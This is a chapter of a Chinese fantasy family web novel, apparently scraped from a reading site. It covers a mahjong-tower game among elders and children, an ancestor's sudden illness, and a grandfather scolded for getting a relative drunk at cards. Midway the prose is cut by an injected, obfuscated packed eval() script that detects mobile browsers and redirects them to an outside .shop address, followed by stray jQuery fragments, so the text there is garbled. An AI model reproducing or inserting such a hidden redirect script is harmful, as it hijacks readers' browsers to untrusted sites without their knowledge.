42. 打牌
作品:《皇子妃今天还没复活吗》 一块块麻将被堆起来,几人按照顺时针方向,依次抽取一块麻将出来。抽了好几轮,在轮到素鹤抽的时候,麻将哗啦着倒了一地。
“输了的人要表演才艺。”泠逍笑道,“鹤鹤想要表演什么?”
“背诗可以吗?”素鹤拿着麻将,低声问。
“当然可以。”
“好耶!”小孩子立即露出笑容,快速背了一遍《咏鹅》。
扶黎用灵力将麻将重新堆好,问:“叙和香要一起玩吗?”
“剑会表演才艺吗?”昀兮庆问。
“他们可以舞剑呀。”泠逍挪了挪位置,挨着扶黎,给二人腾位置。
李瑞香早想加入了,当即拉着西叙白坐过去。老祖宗他们用手抽,李瑞香就拿着剑将麻将推出来,推了好几次,麻将塔上的空洞也多了起来。大家抽取时,也由一开始的随意变成小心翼翼。
一块麻将被轻轻推出来,李瑞香松了一口气,将剑抽回身边,接着看向西叙白。西叙白拿着剑,并不着急推,剑尖对着残缺的麻将塔上下摇晃着,最后,定好了一块麻将,打算慢慢推出来。
推了一半,昀兮庆突然闭上眼睛,双手合十,嘴唇还不停动着,只是不出声,不知道他想干什么。
李瑞香看着脸色忽然发白的孩子,再看了一眼座位,恍然大悟。这个麻将塔推成这个样子,对于大人来说难度都很高了,更不用说小孩子了。
“要不,你让一下小庆儿。”李瑞香小声问。
“他不想表演,我也不想表演。”西叙白看了一眼昀兮庆,手上动作一顿,最后叹了一口气,剑身一歪,迅速将麻将推下来。
哗啦一声。
昀兮庆举着双手,欢呼道:“你输啦!”
“离了这个家谁还宠你啊。”西叙白提剑站起走远几米,快速打了一套基础剑法。
这样玩了几局,轮到扶黎输了弹琴时,他剧烈的咳嗽起来,吐出一滩黑血在地板上。西叙白脸上露出一丝慌乱,瞬移至太爷爷身后,施展治愈术。
“老祖宗,老祖宗你怎么了?”素鹤跑过去,手中刚刚结出一个小光球,就被扶黎挥手散去。
“没事的,老伤了,”扶黎将素鹤抱在怀里,“老祖宗吓到你们了,没事的,小庆儿别哭,老祖宗给你们过年的礼物怎么样。”
“我不要礼物,老祖宗我们去太医院。”昀兮庆抱着泠逍,小声哭着。
“嗯,你们拿完礼物,老祖宗就去叫太医过来,可以吗?”
“……好。”素鹤压抑着哭声,快速点头。
泠逍抬手,地毯上就堆满了珍宝,轻声道:“快去挑吧。”
素鹤就近挑了两个,道:“我要这个,弟弟要这个,好了我们快传太医过来。”
“一年只有一次机会呢,不认真挑挑吗。”扶黎笑着,将身后的剑握在手里,放至身前的物品当中,“去拿吧。”
李瑞香看着老祖宗的动作,心下了然,连忙起身将地上的宝贝全部拿起来。
“我们认真挑好了。”素鹤语气坚定,“现在叫太医吧。”
扶黎也不强求孩子,只是看着那剑在空中转了一圈又回到位置上,伸手拍了拍小孩子的头,“太医治不了老祖宗,老祖宗得回石室闭关休养,下次再见啦好不好?”
“嗯,老祖宗要好好保重。”昀兮庆擦了擦眼泪,吻了吻泠逍的脸庞,“我会想你们的。”
泠逍吩咐了下人唤千星沉过来,随后稍稍施法将房间收拾好。李瑞香走到茶桌前,用灵力倒了一杯温水,送到扶黎面前。
一杯见底,千星沉也推开了房间门,也许是闻到了空气中残留的血腥味,她清冷的脸庞露出担忧:“父神,母神,需要再备些丹药进去吗?”
“不用了,你将孩子带回去。还有,天道有旨,命定之人将会降生在我们家族,你通知一下兄弟姐妹,叫他们保护好孩子。”
千星沉点头答应,她将两个小孩子拉到身边,目送父母离开。
“太奶奶?”素鹤小声问,“命定之人是什么?”
“他会是我们的家人。太奶奶送你们回家吧。”
回到四皇子府时,四奶奶正和小菲亲昵,见千星沉来了,也是笑吟吟的迎上去:“妹妹怎么过来了,不是在宫里上班吗?”
“送你们家小孩过来,她是?”
“是小勉和小安收养的徒儿,很可爱吧,小名叫小菲,大名叫淅菲。”四奶奶拉起小菲的手,露出小孩洁白的手腕上那祖母绿手镯,“昨儿已经叫爹娘看过了,你看,娘送给小菲的见面礼。”
千星沉打量了几眼小孩:“你就是那个天才御兽师啊。”
“我不是御兽师,我只是会听懂它们说话,我要做一个绣娘,我家从古至今都是缝纫的好手。”小菲自豪道。
“你喜欢就好,不过喜欢缝纫的话,就不适合练剑了。”
“我不练剑,我们家都是用针做武器的。”小菲说着,抬起右手,指间不知何时多了几枚银针,用力一甩,将树上的几根枯枝打下来。
“小菲真厉害。”四奶奶夸道。
“这个送你,当是见面礼了,”千星沉将腰上的一枚玉佩解下,系在小菲腰上,“它是顶级的防御法器,能挡住十次神级攻击。”
“谢谢殿下。”
四奶奶笑着,要小菲改口叫太奶奶。小菲没有犹豫,笑着叫太奶奶。
“太奶奶你都没有送我见面礼。”素鹤拉了下千星沉的手。
“你周岁礼和每次生日我都叫你舒奶奶送了好不好。”
“那你还没给我压岁钱。”
过年不用上课,孩子们在王府里追着闹着玩了一个白天。因着四爷爷四奶奶久别都城,此次突然回来,有不少亲戚都来拜访,这个时候小孩子们就排成一排,讨要压岁钱。四奶奶也在此时,将小菲介绍给大家。
傍晚,下了一天的雪终于停了下来,孩子们跑在早已被踩得严严实实的积雪小道上,嬉闹着跑进主院准备吃晚饭。四奶奶一边给孩子们夹菜,一边埋怨四爷爷去打个牌还不回来。
“爹娘不回来吃饭吗?”
“他们去庄园见亲戚,你外公外婆不也在那里吗。”
“我回来啦!”院子里一道中气十足的声音响起,李瑞香夹菜的动作一顿,看向门外,只见四爷爷背着醉得不省人事的西谨延走了进来。四爷爷脸上也红得厉害,不知道喝了多少酒,但是走起步子还是稳的。他们越近,那股酒味就越浓。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202541|197254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“哎,那么多好菜,早知道就回家吃了。”
四奶奶将筷子拍到桌子上,火气上来了,快走几步来到四爷爷面前,揪住男人的耳朵:“你怎么回事,怎么喝那么多酒!还有谨延这孩子不是不爱喝酒吗,你硬灌的吗!”
“那那那打牌嘛,输家罚酒,谨延老是赢,我就说,谨延啊,你不要欺负爷爷老了,脑子没有你们年轻人转得快,然后,他就老是输了,喝成这个鬼样子。”
“你好意思说,仗着辈分欺负人家。”四奶奶不松手,揪着四爷爷的耳朵往外走,“还算你有良心,自己灌醉的人,没有丢给你姐姐照顾。”
接着,李瑞香就听见四奶奶叫下人去熬醒酒汤。
“太爷爷输不起。”素鹤道。
小菲赞同的点点头。
吃过了饭,小孩子们跑到厢房看望伯父。西谨延醉得厉害,喝了一碗醒酒汤下去还没有醒,四奶奶训了一顿四爷爷,随即通知二姐,让西谨延在四皇子府睡一晚。
四爷爷跪在地上,一碗醒酒汤下去,有点清醒了,低着脑袋,不敢看妻子,见门推开一条缝,探进来三个小脑袋,他努了努嘴,想让孩子们离开。
“啪!”
四奶奶用力的拍在桌子上。四爷爷连忙转正脑袋,如捣蒜般点头:“娘子说的都对,娘子我错了,我下次不在外面喝那么多了。”
“少来,当年你带坏小寒我就骂你了,现在你是不是还想带坏谨延!看什么看,还不给人家搞干净,一身都是酒味。”
“是是是,娘子说的是。”四爷爷连滚带爬的坐到床边,抬手施法将西谨延身上的酒味去除,接着,轻手轻脚的将西谨延扶起来,取下他头上的发冠,将头发散开,紧接着,褪下男人的外衣,连同腰上的玉佩令牌等物,一起叠放在床尾的长凳上。
最后盖被子时,西谨延微微睁开了眼,见是四爷爷,迷迷糊糊开口:“四爷爷你出老千,下次不要拉我去了。”说完,又睡了过去。
四爷爷:……
“太爷爷,出老千是什么?”昀兮庆问。
小菲解释:“出老千就是作弊,是不诚信的行为。”
“你这个混账东西!”四奶奶抬起拳头,看上去要行家法。
西叙白和李瑞香拿着剑插进孩子们的衣服里,将他们一一拉回外面,关紧房门。这种暴力行为小孩子还是不宜观看。
次日快午时,西谨延才酒醒过来,吃过午饭,便要带昀兮庆回去。家中只有鹤兮娜和鹤小花在,还有一匹小马驹。
“哇,是飞马!”昀兮庆松开牵着伯父的手,欢快的跑过去。
西谨延跟着孩子的步伐,双手抱起孩子,让他坐在马鞍上:“当时说好的生日礼物,伯父给你带回来了,喜欢吗?”
“喜欢!我最喜欢伯父了!”
“你伯母要生了,灵太爷爷允许伯父在家里待到孩子满月,接下来几个月,伯父会陪你好好玩。”
“那伯父可以带我去看外公外婆吗?”
“当然可以,伯父下午写封信给你大姑,然后我们等她的邀请函就好。”
“那大姑什么时候会给我们邀请函啊?”
“那就要看你小雅姐姐身体如何了。”

